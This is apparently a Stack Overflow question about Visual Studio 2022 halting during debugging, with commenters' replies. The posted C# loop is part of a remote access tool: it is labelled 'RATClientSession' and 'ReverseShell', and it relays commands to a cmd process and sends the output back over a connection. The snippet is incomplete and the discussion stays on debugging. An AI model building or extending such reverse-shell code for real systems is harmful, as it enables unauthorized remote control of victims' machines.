I have a problem with the Debugger in Visual Studio 2022

Question

I have set debugging points for each line in the code below. But for some reason Visual Studio stops debugging after it gets to the following line:

string standardError = cmd.StandardError.ReadLine().Trim(' ');

The code:

 await Task.Run(async () =>
                {
                    while (hasStarted)
                    {
                        if (data.Contains("§close§") || RATClientSession.noConnection)
                        {
                            hasStarted = false;
                            cmd.Kill();
                        }
                        if (data.Length > 1 && data != checkIfDataIsNew)
                        {
                            cmd.StandardInput.WriteLine(data);
                            data = checkIfDataIsNew;
                        }

                        string standardError = cmd.StandardError.ReadLine().Trim(' ');
                        string standarOutput = cmd.StandardOutput.ReadLine().Trim(' ');

                        if (standardError.Length == 0)
                            await RATClientSession.SendData(standarOutput + "§ReverseShell§\n");
                        else
                            await RATClientSession.SendData(standardError + "§ReverseShell§\n");
                    }
                });

I tried to make StandardOutput and StandardInput not send data at the same time. But for some reason it's not working. And I can't debug it because of the debugging problem I explained earlier. Is there any chance the task could be the problem. Any other suggestions?

**Don't** use `.ReadLine()` with `StandardError` or `StandardOutput` because there is no guarantee that a process will ever write `\n`, so your program will be stuck waiting for something that might never come. — Dai, Nov 22 '22 at 06:17
Btw the proces is comand prompt? And from my earlier projects it has worked with ReadLine using comand prompt. Would Comand prompt be fine? — Alexander Jansson, Nov 22 '22 at 06:22
Klaus Gutter yes Im certain because when I didnt make it a variable in just sent the readline it worked perfectly fine. — Alexander Jansson, Nov 22 '22 at 06:31
The code you provided cannot reproduce the problem. You should [create a Minimal, Reproducible Example](https://stackoverflow.com/help/minimal-reproducible-example) — Jingmiao Xu-MSFT, Nov 23 '22 at 05:35
